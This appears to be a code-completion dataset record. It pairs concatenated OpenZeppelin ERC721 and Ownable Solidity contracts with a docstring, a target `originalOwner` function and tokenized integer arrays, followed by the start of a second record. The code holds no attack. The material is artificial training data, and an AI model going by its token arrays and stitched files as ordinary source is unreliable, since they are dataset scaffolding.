* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "@openzeppelin/contracts/access/Ownable.sol";
/// @title Asbtract "Ownable" contract managing a whitelist of factories
abstract contract OwnableFactoryHandler is Ownable {
/// @dev Emitted when a new factory is added
/// @param newFactory Address of the new factory
event FactoryAdded(address newFactory);
/// @dev Emitted when a factory is removed
/// @param oldFactory Address of the removed factory
event FactoryRemoved(address oldFactory);
/// @dev Supported factories to interact with
mapping(address => bool) public supportedFactories;
/// @dev Reverts the transaction if the caller is a supported factory
modifier onlyFactory() {
require(supportedFactories[msg.sender], "OFH: FORBIDDEN");
_;
}
/// @notice Add a supported factory
/// @param _factory The address of the new factory
function addFactory(address _factory) external onlyOwner {
require(_factory != address(0), "OFH: INVALID_ADDRESS");
supportedFactories[_factory] = true;
emit FactoryAdded(_factory);
}
/// @notice Remove a supported factory
/// @param _factory The address of the factory to remove
function removeFactory(address _factory) external onlyOwner {
require(supportedFactories[_factory], "OFH: NOT_SUPPORTED");
supportedFactories[_factory] = false;
emit FactoryRemoved(_factory);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | @notice Returns the owner of the original token if the token was replicated If the original asset was burnt, the last owner before burn is returned @param _tokenId The asset for which we want to know the original owner @return The owner of the original asset | function originalOwner(uint256 _tokenId) external view returns (address) {
uint256 originalAssetId = originalAsset[_tokenId];
if (originalAssetId != 0) {
return _exists(originalAssetId) ? ownerOf(originalAssetId) : lastOwnerBeforeBurn[originalAssetId];
}
return address(0);
}
| 427,696 | [
1,
1356,
326,
3410,
434,
326,
2282,
1147,
309,
326,
1147,
1703,
30346,
971,
326,
2282,
3310,
1703,
18305,
88,
16,
326,
1142,
3410,
1865,
18305,
353,
2106,
225,
389,
2316,
548,
1021,
3310,
364,
1492,
732,
2545,
358,
5055,
326,
2282,
3410,
327,
1021,
3410,
434,
326,
2282,
3310,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
2282,
5541,
12,
11890,
5034,
389,
2316,
548,
13,
3903,
1476,
1135,
261,
2867,
13,
288,
203,
3639,
2254,
5034,
2282,
6672,
548,
273,
2282,
6672,
63,
67,
2316,
548,
15533,
203,
203,
3639,
309,
261,
8830,
6672,
548,
480,
374,
13,
288,
203,
5411,
327,
389,
1808,
12,
8830,
6672,
548,
13,
692,
3410,
951,
12,
8830,
6672,
548,
13,
294,
1142,
5541,
4649,
38,
321,
63,
8830,
6672,
548,
15533,
203,
3639,
289,
203,
3639,
327,
1758,
12,
20,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x54f687677d88ED99f8Fbc54901B469EDc5f065BA/sources/contracts/SystemVersionId.sol | * @title SystemVersionId @notice Base contract providing the system version identifier/ | abstract contract SystemVersionId {
uint256 public constant SYSTEM_VERSION_ID = uint256(keccak256('Initial'));
}
| 17,176,728 | [
1,
3163,
28039,
225,
3360,
